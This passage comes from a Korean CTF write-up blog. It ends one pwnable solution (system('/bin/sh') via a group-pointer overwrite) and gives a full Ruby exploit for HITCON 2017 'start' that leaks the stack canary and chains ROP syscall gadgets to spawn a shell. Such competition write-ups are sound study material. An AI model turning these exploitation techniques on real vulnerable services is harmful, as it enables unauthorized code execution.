    # Stage 3-2 : make system("/bin/sh")        #
    #############################################
    edit_group(3"y", p64(system_addr))
    add_user("/bin/sh""groupD"20)
    
    p.interactive()
 
cs


[Reference]

1. https://github.com/epadctf/34c3/blob/master/SimpleGC/win.py

2. https://github.com/bkth/34c3ctf/tree/master/SimpleGC

2. http://tukan.farm/2017/07/08/tcache/

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] readme_revenge(pwnable)  (0) 2018.01.22
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S
2017. 11. 22. 00:24

## HITCON CTF_2017(start, pwn)


[Summary]

1. python 모듈인 pwntool과 같은 역할을 하는 ruby모듈 pwntool을 사용하는 문제

=> https://github.com/peter50216/pwntools-ruby

2. server.rb가 실행되는데 eval()함수로 루비 코드를 실행시킨다.

3. start 바이너리는 간단한 bof 취약점이 있고, static compile되어 있다.

=> syscall을 이용한 rop를 하면 된다.

4. canary가 있으므로 0x18바이트만큼 덮어 씌우고 출력하면 canary leak 가능.


[Exploit Code]  - start_exploit.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding: ASCII-8BIT
# The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
# which is NOT what we want when doing pwn...
require 'pwn'
 
context.arch = 'amd64'
#context.log_level = :debug
= Sock.new 'localhost'31337
 
bss = 0x6cdb80
syscall_gadget = 0x468e75
pop_raxrdxrbx = 0x47a6e6
pop_rsi = 0x4017f7
pop_rdi = 0x4005d5
 
canary_leak_payload = 'A'*(0x19)
 
# Stage 1 : canary leak
z.send canary_leak_payload
z.recv 0x18
canary = u64(z.recv 0x8- 0x41
log.info "[+] canary : #{canary.hex}"
 
# Stage 2 : read(0, bss, 8) & execve(bss, 0x0, 0x0) => bss:"/bin/sh"
rop_payload = 'A'*0x18 + p64(canary) + "ebppebpp"
rop_payload += p64(pop_rdi) + p64(0x0+ p64(pop_rsi) + p64(bss)
rop_payload += p64(pop_raxrdxrbx) + p64(0x0+ p64(0x8+ p64(0x0)
rop_payload += p64(syscall_gadget)
 
rop_payload += p64(pop_rdi) + p64(bss)
rop_payload += p64(pop_rsi) + p64(0x0)
rop_payload += p64(pop_raxrdxrbx) + p64(59+ p64(0x0+ p64(0x0)
rop_payload += p64(syscall_gadget)
 
z.send rop_payload
z.send "exit" + "\x0a"
z.send "/bin/sh"+"\x00"
 
# Switch to interactive mode
z.interact
 
cs


'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] readme_revenge(pwnable)  (0) 2018.01.22
[34C3 CTF_2017] SimpleGC(pwnable)  (0) 2018.01.07
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S